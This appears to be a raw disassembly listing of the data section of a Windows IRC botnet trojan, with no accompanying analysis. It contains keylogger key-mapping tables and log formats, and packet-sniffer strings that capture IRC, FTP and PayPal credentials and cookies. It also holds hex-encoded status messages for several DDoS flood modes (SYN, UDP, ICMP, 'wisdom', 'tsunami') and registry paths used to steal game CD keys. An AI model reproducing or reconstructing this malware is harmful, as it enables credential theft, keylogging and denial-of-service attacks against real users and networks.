		dd 0Dh,	65h, 65000000h,	2 dup(0)
		dd 1Bh,	4353455Bh, 5B00005Dh, 5D435345h, 0
		dd 70h,	5D31465Bh, 5B000000h, 5D3146h, 0
		dd 71h,	5D32465Bh, 5B000000h, 5D3246h, 0
		dd 72h,	5D33465Bh, 5B000000h, 5D3346h, 0
		dd 73h,	5D34465Bh, 5B000000h, 5D3446h, 0
		dd 74h,	5D35465Bh, 5B000000h, 5D3546h, 0
		dd 75h,	5D36465Bh, 5B000000h, 5D3646h, 0
		dd 76h,	5D37465Bh, 5B000000h, 5D3746h, 0
		dd 77h,	5D38465Bh, 5B000000h, 5D3846h, 0
		dd 78h,	5D39465Bh, 5B000000h, 5D3946h, 0
		dd 79h,	3031465Bh, 5B00005Dh, 5D303146h, 0
		dd 7Ah,	3131465Bh, 5B00005Dh, 5D313146h, 0
		dd 7Bh,	3231465Bh, 5B00005Dh, 5D323146h, 0
		dd 0C0h, 60h, 7E000000h, 2 dup(0)
		dd 2 dup(31h), 21000000h, 2 dup(0)
		dd 2 dup(32h), 40000000h, 2 dup(0)
		dd 2 dup(33h), 23000000h, 2 dup(0)
		dd 2 dup(34h), 24000000h, 2 dup(0)
		dd 2 dup(35h), 25000000h, 2 dup(0)
		dd 2 dup(36h), 5E000000h, 2 dup(0)
		dd 2 dup(37h), 26000000h, 2 dup(0)
		dd 2 dup(38h), 2A000000h, 2 dup(0)
		dd 2 dup(39h), 28000000h, 2 dup(0)
		dd 2 dup(30h), 29000000h, 2 dup(0)
		dd 0BDh, 2Dh, 5F000000h, 2 dup(0)
		dd 0BBh, 3Dh, 2B000000h, 2 dup(0)
		dd 9, 4241545Bh, 5B00005Dh, 5D424154h, 0
		dd 51h,	71h, 51000000h,	2 dup(0)
		dd 57h,	77h, 57000000h,	2 dup(0)
		dd 45h,	65h, 45000000h,	2 dup(0)
		dd 52h,	72h, 52000000h,	2 dup(0)
		dd 54h,	74h, 54000000h,	2 dup(0)
		dd 59h,	79h, 59000000h,	2 dup(0)
		dd 55h,	75h, 55000000h,	2 dup(0)
		dd 49h,	69h, 49000000h,	2 dup(0)
		dd 4Fh,	6Fh, 4F000000h,	2 dup(0)
		dd 50h,	70h, 50000000h,	2 dup(0)
		dd 0DBh, 5Bh, 7B000000h, 2 dup(0)
		dd 0DDh, 0
		dd 7D000000h, 2	dup(0)
		dd 41h,	61h, 61000000h,	2 dup(0)
		dd 53h,	73h, 53000000h,	2 dup(0)
		dd 44h,	64h, 44000000h,	2 dup(0)
		dd 46h,	66h, 46000000h,	2 dup(0)
		dd 47h,	67h, 47000000h,	2 dup(0)
		dd 48h,	68h, 48000000h,	2 dup(0)
		dd 4Ah,	6Ah, 4A000000h,	2 dup(0)
		dd 4Bh,	6Bh, 4B000000h,	2 dup(0)
		dd 4Ch,	6Ch, 4C000000h,	2 dup(0)
		dd 0BAh, 3Bh, 3A000000h, 2 dup(0)
		dd 0DEh, 27h, 22000000h, 2 dup(0)
		dd 5Ah,	7Ah, 5A000000h,	2 dup(0)
		dd 58h,	78h, 58000000h,	2 dup(0)
		dd 43h,	63h, 43000000h,	2 dup(0)
		dd 56h,	76h, 56000000h,	2 dup(0)
		dd 42h,	62h, 42000000h,	2 dup(0)
		dd 4Eh,	6Eh, 4E000000h,	2 dup(0)
dword_435238	dd 4Dh,	6Dh, 4D000000h,	2 dup(0)
		dd 0BCh, 2Ch, 3C000000h, 2 dup(0)
		dd 0BEh, 2Eh, 3E000000h, 2 dup(0)
		dd 0BFh, 2Fh, 2E000000h, 3Fh, 0
		dd 0DCh, 5Ch, 7C000000h, 2 dup(0)
		dd 11h,	5254435Bh, 5B005D4Ch, 4C525443h, 5Dh, 5Bh, 4E49575Bh
		dd 5B00005Dh, 5D4E4957h, 0
		dd 2 dup(20h), 20000000h, 2 dup(0)
		dd 5Ch,	4E49575Bh, 5B00005Dh, 5D4E4957h, 0
		dd 2Ch,	5352505Bh, 5B005D43h, 43535250h, 5Dh, 91h, 4C43535Bh
		dd 5B005D4Bh, 4B4C4353h, 5Dh, 2Dh, 534E495Bh, 5B00005Dh
		dd 5D534E49h, 0
		dd 24h,	4D4F485Bh, 5B005D45h, 454D4F48h, 5Dh, 21h, 5547505Bh
		dd 5B005D50h, 50554750h, 5Dh, 2Eh, 4C45445Bh, 5B00005Dh
		dd 5D4C4544h, 0
		dd 23h,	444E455Bh, 5B00005Dh, 5D444E45h, 0
		dd 22h,	4447505Bh, 5B005D4Eh, 4E444750h, 5Dh, 25h, 46454C5Bh
		dd 5B005D54h, 5446454Ch, 5Dh, 26h, 5D50555Bh, 5B000000h
		dd 5D5055h, 0
		dd 27h,	4847525Bh, 5B005D54h, 54484752h, 5Dh, 28h, 574F445Bh
		dd 5B005D4Eh, 4E574F44h, 5Dh, 90h, 4C4D4E5Bh, 5B005D4Bh
		dd 4B4C4D4Eh, 5Dh, 6Fh,	2Fh, 2F000000h,	2 dup(0)
		dd 6Ah,	2Ah, 2A000000h,	2 dup(0)
		dd 6Dh,	2Dh, 2D000000h,	2 dup(0)
		dd 6Bh,	2Bh, 2B000000h,	2 dup(0)
		dd 60h,	30h, 30000000h,	2 dup(0)
		dd 61h,	31h, 31000000h,	2 dup(0)
		dd 62h,	32h, 32000000h,	2 dup(0)
		dd 63h,	33h, 33000000h,	2 dup(0)
		dd 64h,	34h, 34000000h,	2 dup(0)
		dd 65h,	35h, 35000000h,	2 dup(0)
		dd 66h,	36h, 36000000h,	2 dup(0)
		dd 67h,	37h, 37000000h,	2 dup(0)
		dd 68h,	38h, 38000000h,	2 dup(0)
		dd 69h,	39h, 39000000h,	2 dup(0)
		dd 6Eh,	2Eh, 2E000000h,	2 dup(0)
dword_43551C	dd 234032Dh, 6C79656Bh,	302676Fh, 7325202Dh, 0 ; DATA XREF: ___:00411CC2o
aDDDDDDS	db '[%d-%d-%d %d:%d:%d] %s',0Dh,0Ah,0 ; DATA XREF: ___:00411C9Co
		align 4
asc_43554C:				; DATA XREF: ___:00411C40o
		unicode	0, <\>,0
aSReturnS	db '%s (Return) (%s)',0
		align 4
aSBufferFullS	db '%s (Buffer full) (%s)',0
		align 4
aSChangedWindow	db '%s (Changed Windows: %s)',0
		align 4
		dd offset off_435E10
		dd offset off_435E0C
		dd offset off_435E08
		dd offset aHttp_0	; "HTTP"
		dd 6F6C2E3Ah, 6E6967h, 4 dup(0)
		dd 6F6C2C3Ah, 6E6967h, 4 dup(0)
		dd 6F6C213Ah, 6E6967h, 4 dup(0)
		dd 6F6C403Ah, 6E6967h, 4 dup(0)
		dd 6F6C243Ah, 6E6967h, 4 dup(0)
		dd 6F6C253Ah, 6E6967h, 4 dup(0)
		dd 6F6C5E3Ah, 6E6967h, 4 dup(0)
		dd 6F6C263Ah, 6E6967h, 4 dup(0)
		dd 6F6C2A3Ah, 6E6967h, 4 dup(0)
		dd 6F6C2D3Ah, 6E6967h, 4 dup(0)
		dd 6F6C2B3Ah, 6E6967h, 4 dup(0)
		dd 6F6C2F3Ah, 6E6967h, 4 dup(0)
		dd 6F6C5C3Ah, 6E6967h, 4 dup(0)
		dd 6F6C3D3Ah, 6E6967h, 4 dup(0)
		dd 6F6C3F3Ah, 6E6967h, 4 dup(0)
		dd 6F6C273Ah, 6E6967h, 4 dup(0)
		dd 6F6C603Ah, 6E6967h, 4 dup(0)
		dd 6F6C7E3Ah, 6E6967h, 4 dup(0)
		dd 6F6C203Ah, 6E6967h, 4 dup(0)
		dd 75612E3Ah, 6874h, 4 dup(0)
		dd 75612C3Ah, 6874h, 4 dup(0)
		dd 7561213Ah, 6874h, 4 dup(0)
		dd 7561403Ah, 6874h, 4 dup(0)
		dd 7561243Ah, 6874h, 4 dup(0)
		dd 7561253Ah, 6874h, 4 dup(0)
		dd 75615E3Ah, 6874h, 4 dup(0)
		dd 7561263Ah, 6874h, 4 dup(0)
		dd 75612A3Ah, 6874h, 4 dup(0)
		dd 75612D3Ah, 6874h, 4 dup(0)
		dd 75612B3Ah, 6874h, 4 dup(0)
		dd 75612F3Ah, 6874h, 4 dup(0)
		dd 75615C3Ah, 6874h, 4 dup(0)
		dd 75613D3Ah, 6874h, 4 dup(0)
		dd 75613F3Ah, 6874h, 4 dup(0)
		dd 7561273Ah, 6874h, 4 dup(0)
		dd 7561603Ah, 6874h, 4 dup(0)
		dd 75617E3Ah, 6874h, 4 dup(0)
		dd 7561203Ah, 6874h, 4 dup(0)
		dd 64692E3Ah, 5	dup(0)
		dd 64692C3Ah, 5	dup(0)
		dd 6469213Ah, 5	dup(0)
		dd 6469403Ah, 5	dup(0)
		dd 6469243Ah, 5	dup(0)
		dd 6469253Ah, 5	dup(0)
		dd 64695E3Ah, 5	dup(0)
		dd 6469263Ah, 5	dup(0)
		dd 64692A3Ah, 5	dup(0)
		dd 64692D3Ah, 5	dup(0)
		dd 64692B3Ah, 5	dup(0)
		dd 64692F3Ah, 5	dup(0)
		dd 64695C3Ah, 5	dup(0)
		dd 64693D3Ah, 5	dup(0)
		dd 64693F3Ah, 5	dup(0)
		dd 6469273Ah, 5	dup(0)
		dd 6469603Ah, 5	dup(0)
		dd 64697E3Ah, 5	dup(0)
		dd 6469203Ah, 5	dup(0)
		dd 61682E3Ah, 6E696873h, 4 dup(0)
		dd 6168213Ah, 6E696873h, 4 dup(0)
		dd 6168243Ah, 6E696873h, 4 dup(0)
		dd 6168253Ah, 6E696873h, 4 dup(0)
		dd 65732E3Ah, 65727563h, 4 dup(0)
		dd 6573213Ah, 65727563h, 4 dup(0)
		dd 6C2E3Ah, 5 dup(0)
		dd 6C213Ah, 5 dup(0)
		dd 6C243Ah, 5 dup(0)
		dd 6C253Ah, 5 dup(0)
		dd 782E3Ah, 5 dup(0)
		dd 78213Ah, 5 dup(0)
		dd 78243Ah, 5 dup(0)
		dd 78253Ah, 5 dup(0)
		dd 79732E3Ah, 6Eh, 4 dup(0)
		dd 7973213Ah, 6Eh, 4 dup(0)
		dd 7973243Ah, 6Eh, 4 dup(0)
		dd 7973253Ah, 6Eh, 4 dup(0)
		dd 4B444320h, 207965h, 4 dup(0)
		dd 4E494F4Ah, 2320h, 3 dup(0)
		dd 1, 4B43494Eh, 20h, 3	dup(0)
		dd 1, 5245504Fh, 20h, 3	dup(0)
		dd 1, 7265706Fh, 20h, 3	dup(0)
		dd 1, 20776F6Eh, 49206E61h, 4F204352h, 61726570h, 726F74h
		dd 1, 52455355h, 20h, 3	dup(0)
		dd 2, 53534150h, 20h, 3	dup(0)
		dd 2, 70796170h, 6C61h,	3 dup(0)
		dd 3, 50594150h, 4C41h,	3 dup(0)
		dd 3, 70796170h, 632E6C61h, 6D6Fh, 2 dup(0)
		dd 3, 50594150h, 432E4C41h, 4D4Fh, 2 dup(0)
		dd 3, 2D746553h, 6B6F6F43h, 3A6569h, 2 dup(0)
		dd 3, 6	dup(0)
aHttp_0		db 'HTTP',0             ; DATA XREF: ___:004355A4o
		align 4
off_435E08	dd offset word_505446	; DATA XREF: ___:004355A0o
off_435E0C	dd offset dword_435238+11h ; DATA XREF:	___:0043559Co
off_435E10	dd offset word_544F42	; DATA XREF: ___:00435598o
		dd 234032Dh, 696E7370h,	3026666h, 6572202Dh, 29287663h
		dd 69616620h, 2C64656Ch, 74657220h, 656E7275h, 64252064h
		dd 0
		dd 234032Dh, 696E7370h,	3026666h, 7573202Dh, 63697073h
		dd 73756F69h, 20732520h, 6B636170h, 66207465h, 3A6D6F72h
		dd 3A732520h, 2D206425h, 732520h, 234032Dh, 696E7370h
		dd 3026666h, 2Dh, 4E53505Bh, 5D464649h,	0
		dd 234032Dh, 696E7370h,	3026666h, 5357202Dh, 636F4941h
		dd 29286C74h, 69616620h, 2C64656Ch, 74657220h, 656E7275h
		dd 64252064h, 0
		dd 234032Dh, 696E7370h,	3026666h, 6962202Dh, 2928646Eh
		dd 69616620h, 2C64656Ch, 74657220h, 656E7275h, 64252064h
		dd 0
		dd 234032Dh, 696E7370h,	3026666h
aSocketFailedRe	db '- socket() failed, returned %d',0
		align 4
aHashin		db ':!hashin',0         ; DATA XREF: sub_412361+103o
		align 4
a_hashin	db ':.hashin',0         ; DATA XREF: sub_412361+EEo
		align 10h
aIdent_0	db ':!ident',0          ; DATA XREF: sub_412361+D9o
a_ident		db ':.ident',0          ; DATA XREF: sub_412361+C8o
a_login		db ':.Login',0          ; DATA XREF: sub_412361+B7o
aLogin_0	db ':!Login',0          ; DATA XREF: sub_412361+A6o
aLogin_1	db ':!login',0          ; DATA XREF: sub_412361+95o
a_login_0	db ':.login',0          ; DATA XREF: sub_412361+84o
a366		db '366 ',0             ; DATA XREF: sub_412361+73o
		align 4
a302_0		db '302 ',0             ; DATA XREF: sub_412361:loc_4123C3o
		align 10h
aJoin_0		db 'JOIN #',0           ; DATA XREF: sub_412361+4Do
		align 4
aPsniff_0	db 'PSNIFF//',0         ; DATA XREF: sub_412361+3Co
		align 4
aPsniff_1	db '[PSNIFF]:',0        ; DATA XREF: sub_412361+2Bo
		align 10h
aBotSniff	db 'Bot sniff',0        ; DATA XREF: sub_412361+5o
		align 4
aYouAreNowAnIrc	db 'You are now an IRC Operator',0 ; DATA XREF: sub_412478+62o
aOper		db 'oper ',0            ; DATA XREF: sub_412478+51o
		align 10h
aNick_1		db 'NICK ',0            ; DATA XREF: sub_412478:loc_4124B8o
					; sub_4124EE+2Bo
		align 4
aOper_0		db 'OPER ',0            ; DATA XREF: sub_412478+2Bo
		align 10h
aIrcSniff	db 'IRC sniff',0        ; DATA XREF: sub_412478+5o
		align 4
aPass_1		db 'PASS ',0            ; DATA XREF: sub_4124EE+73o
		align 4
aUser_3		db 'USER ',0            ; DATA XREF: sub_4124EE+62o
		align 4
a230		db '230 ',0             ; DATA XREF: sub_4124EE:loc_41253Fo
		align 4
a220		db '220 ',0             ; DATA XREF: sub_4124EE+3Co
		align 4
aFtpSniff	db 'FTP sniff',0        ; DATA XREF: sub_4124EE+5o
		align 4
aSetCookie	db 'Set-Cookie:',0      ; DATA XREF: sub_412575+73o
aPaypal_com	db 'paypal.com',0       ; DATA XREF: sub_412575+62o
		align 10h
aPaypal_com_0	db 'PAYPAL.COM',0       ; DATA XREF: sub_412575+51o
		align 4
aPaypal_0	db 'PAYPAL',0           ; DATA XREF: sub_412575:loc_4125B5o
		align 4
aPaypal		db 'paypal',0           ; DATA XREF: sub_412575+2Bo
		align 4
aHttpSniff	db 'HTTP sniff',0       ; DATA XREF: sub_412575+5o
		align 4
aOpenssh_2	db 'OpenSSH_2',0        ; DATA XREF: sub_4125FC+51o
		align 4
aServUFtpServer	db 'Serv-U FTP Server',0 ; DATA XREF: sub_4125FC:loc_41263Co
		align 4
aOpenssl0_9_6	db 'OpenSSL/0.9.6',0    ; DATA XREF: sub_4125FC+2Bo
		align 4
aVulnSniff	db 'VULN sniff',0       ; DATA XREF: sub_4125FC+5o
		align 4
unk_436084	db  2Dh	; -		; DATA XREF: sub_412661+3ECo
		db 3, 34h, 2
		db  73h	; s
		db 6Eh,	69h, 66h
		db  66h	; f
		db 65h,	72h, 2
		db    3
aVulnSniffSDToS	db '- VULN sniff "%s:%d" to "%s:%d": - "%s"',0
		align 4
unk_4360BC	db  2Dh	; -		; DATA XREF: sub_412661+382o
		db 3, 34h, 2
		db  73h	; s
		db 6Eh,	69h, 66h
		db  66h	; f
		db 65h,	72h, 2
		db    3
aHttpSniffSDToS	db '- HTTP sniff "%s:%d" to "%s:%d": - "%s"',0
		align 4
unk_4360F4	db  2Dh	; -		; DATA XREF: sub_412661+351o
		db 3, 34h, 2
		db  73h	; s
		db 6Eh,	69h, 66h
		db  66h	; f
		db 65h,	72h, 2
		db    3
aFtpSniffSDToSD	db '- FTP sniff "%s:%d" to "%s:%d": - "%s"',0
unk_436128	db  2Dh	; -		; DATA XREF: sub_412661+31Bo
		db 3, 34h, 2
		db  73h	; s
		db 6Eh,	69h, 66h
		db  66h	; f
		db 65h,	72h, 2
		db    3
aIrcSniffSDToSD	db '- IRC sniff "%s:%d" to "%s:%d": - "%s"',0
unk_43615C	db  2Dh	; -		; DATA XREF: sub_412661+2E2o
		db 3, 34h, 2
		db  73h	; s
		db 6Eh,	69h, 66h
		db  66h	; f
		db 65h,	72h, 2
		db    3
aBotSniffSDToSD	db '- Bot sniff "%s:%d" to "%s:%d": - "%s"',0
unk_436190	db  2Dh	; -		; DATA XREF: sub_412661+14Bo
		db 3, 34h, 2
		db  73h	; s
		db 6Eh,	69h, 66h
		db  66h	; f
		db 65h,	72h, 2
		db    3
aWsaioctlFailed	db '- WSAIoctl() failed, returned %d',0
		align 10h
unk_4361C0	db  2Dh	; -		; DATA XREF: sub_412661+C5o
		db 3, 34h, 2
		db  73h	; s
		db 6Eh,	69h, 66h
		db  66h	; f
		db 65h,	72h, 2
		db    3
aBindFailedRetu	db '- bind() failed, returned %d',0
		align 4
		db  2Dh	; -
		db 3, 34h, 2
		db  64h	; d
		db 64h,	6Fh, 73h
		db    2
		db 3, 2Dh, 20h
aDoneWithFloodA	db 'done with flood at %iKB/sec',0
dword_436214	dd 234032Dh, 736F6464h,	202D0302h, 646E6573h, 72726520h
					; DATA XREF: sub_412B09+302o
		dd 203A726Fh, 6425h, 234032Dh, 706D6369h, 202D0302h, 656E6F64h
		dd 74697720h, 73252068h, 6F6C6620h, 7420646Fh, 7325206Fh
		dd 6573202Eh, 2520746Eh, 61702064h, 74656B63h, 20402073h
		dd 424B6425h, 6365732Fh, 64252820h, 2E29424Dh, 0
		dd 234032Dh, 706D6369h,	202D0302h, 6F727265h, 65732072h
		dd 6E69646Eh, 61702067h, 74656B63h, 6F742073h, 2E732520h
		dd 20642520h, 6B636170h, 20737465h, 746E6573h, 6572202Ch
		dd 6E727574h, 25206465h, 64h, 234032Dh,	706D6369h, 202D0302h
		dd 61766E69h, 2064696Ch, 67726174h, 69207465h, 70h, 234032Dh
		dd 706D6369h, 202D0302h, 73746573h, 6F6B636Fh, 29287470h
		dd 69616620h, 2C64656Ch, 74657220h, 656E7275h, 64252064h
		dd 0
		dd 234032Dh, 706D6369h,	202D0302h, 6B636F73h, 29287465h
		dd 69616620h, 2C64656Ch, 74657220h, 656E7275h, 64252064h
		dd 0
		dd 234032Dh, 676E6970h,	202D0302h, 696E6966h, 64656873h
		dd 6E657320h, 676E6964h, 6E697020h, 74207367h, 7325206Fh
		dd 0
		dd 234032Dh, 676E6970h,	202D0302h, 6F727265h, 65732072h
		dd 6E69646Eh, 69702067h, 2073676Eh, 25206F74h, 73h, 234032Dh
		dd 2706475h, 66202D03h,	73696E69h, 20646568h, 646E6573h
		dd 20676E69h, 6B636170h, 20737465h, 25206F74h, 73h, 234032Dh
		dd 2706475h, 65202D03h,	726F7272h, 6E657320h, 676E6964h
		dd 63617020h, 7374656Bh, 206F7420h, 7325h, 234032Dh, 73796B73h
		dd 3026E79h, 6F44202Dh,	7720656Eh, 20687469h, 6F6F6C66h
		dd 25282064h, 2F424B69h, 29636573h, 0
		db  2Dh	; -
		db 3, 34h, 2
		db  73h	; s
		db 79h,	6Eh, 2
		db    3
aDoneWithFloodI	db '- Done with flood (%iKB/sec).',0
		align 4
dword_43643C	dd 234032Dh, 26E7973h, 53202D03h, 20646E65h, 6F727265h
					; DATA XREF: sub_41386C+27Do
		dd 3C203A72h, 2E3E6425h, 0
		dd 234032Dh, 67726174h,	3023361h, 6F44202Dh, 7720656Eh
		dd 20687469h, 6F6F6C66h, 2E64h,	234032Dh, 2706374h, 44202D03h
		dd 20656E6Fh, 68746977h, 20732520h, 6F6F6C66h, 6F742064h
		dd 3A504920h, 2E732520h, 6E655320h, 25203A74h, 61702064h
		dd 74656B63h, 20297328h, 64252040h, 732F424Bh, 28206365h
		dd 424D6425h, 2E29h, 234032Dh, 2706374h, 45202D03h, 726F7272h
		dd 6E657320h, 676E6964h, 63617020h, 7374656Bh, 206F7420h
		dd 203A5049h, 202E7325h, 6B636150h, 20737465h, 746E6573h
		dd 6425203Ah, 6552202Eh, 6E727574h, 203A6465h, 3E64253Ch
		dd 2Eh,	234032Dh, 2706374h, 49202D03h, 6C61766Eh, 74206469h
		dd 65677261h, 50492074h, 2Eh, 234032Dh,	2706374h, 45202D03h
		dd 726F7272h, 6573203Ah, 636F7374h, 74706F6Bh, 66202928h
		dd 656C6961h, 72202C64h, 72757465h, 3A64656Eh, 64253C20h
		dd 2E3Eh, 234032Dh, 2706374h, 45202D03h, 726F7272h, 6F73203Ah
		dd 74656B63h, 66202928h, 656C6961h, 72202C64h, 72757465h
		dd 3A64656Eh, 64253C20h, 2E3Eh,	234032Dh, 6E757374h, 2696D61h
		dd 44202D03h, 20656E6Fh, 68746977h, 6F6C6620h, 202C646Fh
		dd 70206425h, 656B6361h, 73207374h, 2E746E65h, 0
		dd 234032Dh, 64736977h,	75286D6Fh, 2297064h, 53202D03h
		dd 74726174h, 20676E69h, 64736957h, 73206D6Fh, 666F6F70h
		dd 55206465h, 66205044h, 646F6F6Ch, 72687420h, 2E646165h
		dd 0
		dd 234032Dh, 64736977h,	75286D6Fh, 2297064h, 45202D03h
		dd 726F7272h, 6E657320h, 676E6964h, 63617020h, 7374656Bh
		dd 206F7420h, 202E7325h, 3D786165h, 4B434F53h, 455F5445h
		dd 524F5252h, 5357202Ch, 74654741h, 7473614Ch, 6F727245h
		dd 3D292872h, 202E6425h, 657A6973h, 6228666Fh, 65666675h
		dd 3D202972h, 2E642520h, 63615020h, 7374656Bh, 6E657320h
		dd 75732074h, 73736563h, 6C6C7566h, 203D2079h, 2E6425h
		dd 234032Dh, 64736977h,	75286D6Fh, 2297064h, 46202D03h
		dd 73696E69h, 20646568h, 646E6573h, 20676E69h, 6B636170h
		dd 20737465h, 25206F74h, 53202E73h, 20746E65h, 70206425h
		dd 656B6361h, 29732874h, 257E202Eh, 20424D64h, 6420666Fh
		dd 20617461h, 746E6573h, 257E2820h, 732F4B64h, 2E29h, 234032Dh
		dd 64736977h, 75286D6Fh, 2297064h, 53202D03h, 69646E65h
		dd 7020676Eh, 656B6361h, 74207374h, 7325206Fh, 2E2E2Eh
		dd 234032Dh, 64736977h,	75286D6Fh, 2297064h, 49202D03h
		dd 6C61766Eh, 74206469h, 65677261h, 50492074h, 5357202Eh
		dd 74654741h, 7473614Ch, 6F727245h, 20292872h, 75746572h
		dd 20736E72h, 2E6425h, 234032Dh, 64736977h, 75286D6Fh
		dd 2297064h, 45202D03h,	726F7272h, 6C616320h, 676E696Ch
		dd 74657320h, 6B636F73h, 2874706Fh, 57202E29h, 65474153h
		dd 73614C74h, 72724574h, 2928726Fh, 74657220h, 736E7275h
		dd 2E642520h, 0
		db  2Dh	; -
		db 3, 34h, 2
		db  77h	; w
		db 69h,	73h, 64h
		db  6Fh	; o
		db 6Dh,	28h, 75h
		db  64h	; d
		db 70h,	29h, 2
		db    3
aErrorCallingSo	db '- Error calling socket().',0
		align 4
		db  2Dh	; -
		db 3, 34h, 2
		db  77h	; w
		db 6Fh,	6Eh, 6Bh
		db    2
		db 3, 2Dh, 20h
aDoneWithFloodP	db 'Done with flood, ports hit: %s',0
		align 4
aSD		db '%s%d ',0
		align 4
dword_43682C	dd 202E6425h, 73253403h, 203D2003h, 73253703h, 3 ; DATA	XREF: sub_415135+35o
dword_436840	dd 234032Dh, 61696C61h,	696C2073h, 3027473h, 2Dh ; DATA	XREF: sub_415135+10o
a_2d_2d4d_2d_2d	db '[%.2d-%.2d-%4d %.2d:%.2d:%.2d] %s',0 ; DATA XREF: sub_4151AD+60o
		align 4
dword_436878	dd 234032Dh, 3676F6Ch, 43202D02h, 7261656Ch, 2E6465h
					; DATA XREF: sub_41524D:loc_415282o
dword_43688C	dd 234032Dh, 2676F6Ch, 63202D03h, 7261656Ch, 6465h
					; DATA XREF: sub_41524D+20o
dword_4368A0	dd 234032Dh, 2676F6Ch, 6C202D03h, 20747369h, 706D6F63h
					; DATA XREF: ___:0041536Ao
		dd 6574656Ch, 0
		dd 234032Dh, 2676F6Ch, 6C202D03h, 20747369h, 72617473h
		dd 676E6974h, 0
aDisplay	db 'DISPLAY',0          ; DATA XREF: sub_4153BD+11o
aWindow		db 'Window',0           ; DATA XREF: sub_4155F8+23o
					; sub_4157F1+26o
		align 4
		dd 80000001h
off_4368EC	dd offset aSoftwareValveC ; DATA XREF: sub_415A30+Cr
					; sub_415A30+21o
					; "Software\\Valve\\CounterStrike\\Settings"
		dd offset aCdkey	; "CDKey"
		dd offset aCounterStrikeR ; "Counter-Strike (Retail)"
dword_4368F8	dd 2 dup(0)		; DATA XREF: sub_415A30+26o
		dd 80000001h, 437A7Ch, 437A70h,	437A60h, 2 dup(0)
		dd 80000001h, 437A40h, 437A3Ch,	437A28h, 2 dup(0)
		dd 80000001h, 437A04h, 437A3Ch,	4379F8h, 2 dup(0)
		dd 80000001h, 4379D4h, 4379CCh,	4379B8h, 2 dup(0)
		dd 80000001h, 4379A4h, 437994h,	437978h, 2 dup(0)
		dd 80000001h, 437934h, 437ABCh,	437920h, 2 dup(0)
		dd 80000002h, 4378F4h, 4378E8h,	4378C8h, 2 dup(0)
		dd 80000002h, 437894h, 437ABCh,	43787Ch, 2 dup(0)
		dd 80000002h, 437848h, 437ABCh,	437830h, 2 dup(0)
		dd 80000002h, 437818h, 437ABCh,	437800h, 2 dup(0)
		dd 80000002h, 4377C4h, 43D808h,	4377B4h, 2 dup(0)
		dd 80000002h, 43777Ch, 43D808h,	437768h, 2 dup(0)
		dd 80000002h, 43771Ch, 43D808h,	4376FCh, 2 dup(0)
		dd 80000002h, 4376ACh, 43D808h,	437680h, 2 dup(0)
		dd 80000002h, 437644h, 43D808h,	437630h, 2 dup(0)
		dd 80000002h, 4375F8h, 43D808h,	4375E8h, 2 dup(0)
		dd 80000002h, 437598h, 43D808h,	43756Ch, 2 dup(0)
		dd 80000002h, 43752Ch, 43D808h,	437510h, 2 dup(0)
		dd 80000002h, 4374E0h, 43D808h,	4374C0h, 2 dup(0)
		dd 80000002h, 437484h, 43D808h,	437470h, 2 dup(0)
		dd 80000002h, 437428h, 43D808h,	437408h, 2 dup(0)
		dd 80000002h, 4373B4h, 43D808h,	437384h, 2 dup(0)
		dd 80000002h, 437334h, 43D808h,	437308h, 2 dup(0)
		dd 80000002h, 4372C8h, 4372C0h,	4372A0h, 2 dup(0)
		dd 80000002h, 43725Ch, 43D808h,	437240h, 2 dup(0)
		dd 80000002h, 4371F4h, 43D808h,	4371D0h, 2 dup(0)
		dd 80000002h, 43719Ch, 43D808h,	437190h, 2 dup(0)
		dd 80000002h, 43715Ch, 43D808h,	437150h, 2 dup(0)
		dd 80000002h, 43711Ch, 43D808h,	437110h, 2 dup(0)
		dd 80000002h, 4370DCh, 43D808h,	4370D0h, 2 dup(0)
		dd 80000002h, 437094h, 43D808h,	437080h, 2 dup(0)
		dd 80000002h, 437044h, 43D808h,	437030h, 2 dup(0)
		dd 80000002h, 437000h, 437ABCh,	436FE4h, 2 dup(0)
		dd 80000002h, 436FC4h, 436FBCh,	436F98h, 2 dup(0)
		dd 80000002h, 436F7Ch, 436FBCh,	436F5Ch, 2 dup(0)
		dd 80000002h, 436F3Ch, 436FBCh,	436F18h, 2 dup(0)
		dd 80000002h, 436F00h, 436FBCh,	436EFCh, 2 dup(0)
		dd 80000002h, 436EE0h, 436ED0h,	436EC8h, 2 dup(0)
		dd 80000002h, 436E94h, 42C910h,	436E7Ch, 2 dup(0)
		dd 80000002h, 436E40h, 436E34h,	436E0Ch, 436DFCh, 436DE8h
		dd 80000002h, 436DC4h, 436DB8h,	436DA4h, 436D94h, 436D8Ch
		dd 80000002h, 436DC4h, 436DB8h,	436D60h, 436D94h, 436D58h
		dd 80000002h, 436DC4h, 436DB8h,	436D28h, 436D94h, 436D20h
		dd 6 dup(0)
		dd 3379654Bh, 3Dh, 6576654Eh, 6E697772h, 20726574h, 6867694Eh
		dd 28207374h, 64726F48h, 6F207365h, 68742066h, 6E552065h
		dd 64726564h, 296B7261h, 0
		dd 3279654Bh, 3Dh, 6576654Eh, 6E697772h, 20726574h, 6867694Eh
		dd 28207374h, 64616853h, 2073776Fh, 5520666Fh, 6572646Eh
		dd 6469746Eh, 2965h, 3179654Bh,	3Dh, 636E776Eh,	79656B64h
		dd 696E692Eh, 0
aNeverwinterNig	db 'Neverwinter Nights',0
		align 4
aLocation	db 'Location',0
		align 4
aSoftwareBiowar	db 'Software\BioWare\NWN\Neverwinter',0
		align 4
aMtkwftmkemfew3	db 'mtkwftmkemfew3p3b7',0
		align 4
aBaseMpSof2key	db 'base\mp\sof2key',0
aSoldierOfFortu	db 'Soldier of Fortune II - Double Helix',0
		align 4
aInstallpath	db 'InstallPath',0
		db 53h
aOftwareActivis	db 'oftware\Activision\Soldier of Fortune II - Double Helix',0
		align 4
aHiddenDangerou	db 'Hidden & Dangerous 2',0
		align 4
		db 53h
aOftwareIllusio	db 'oftware\Illusion Softworks\Hidden & Dangerous 2',0
		align 4
aChrome		db 'Chrome',0
		align 10h
aSerialnumber	db 'SerialNumber',0
		align 10h
		db 53h
aOftwareTechlan	db 'oftware\Techland\Chrome',0
		align 4
		dd offset word_584F4E
aSoftwareWestwo	db 'Software\Westwood\NOX',0
		align 4
aCommandAndConq	db 'Command and Conquer: Red Alert 2',0
		align 4
		db 53h
aOftwareWestwoo	db 'oftware\Westwood\Red Alert 2',0
		align 4
aCommandAndCo_0	db 'Command and Conquer: Red Alert',0
		align 4
		db 53h
aOftwareWestw_0	db 'oftware\Westwood\Red Alert',0
aCommandAndCo_1	db 'Command and Conquer: Tiberian Sun',0
		align 4
aSerial		db 'Serial',0
		align 4
		db 53h
aOftwareWestw_1	db 'oftware\Westwood\Tiberian Sun',0
		align 4
aRainbowSixIiiR	db 'Rainbow Six III RavenShield',0
		db 53h
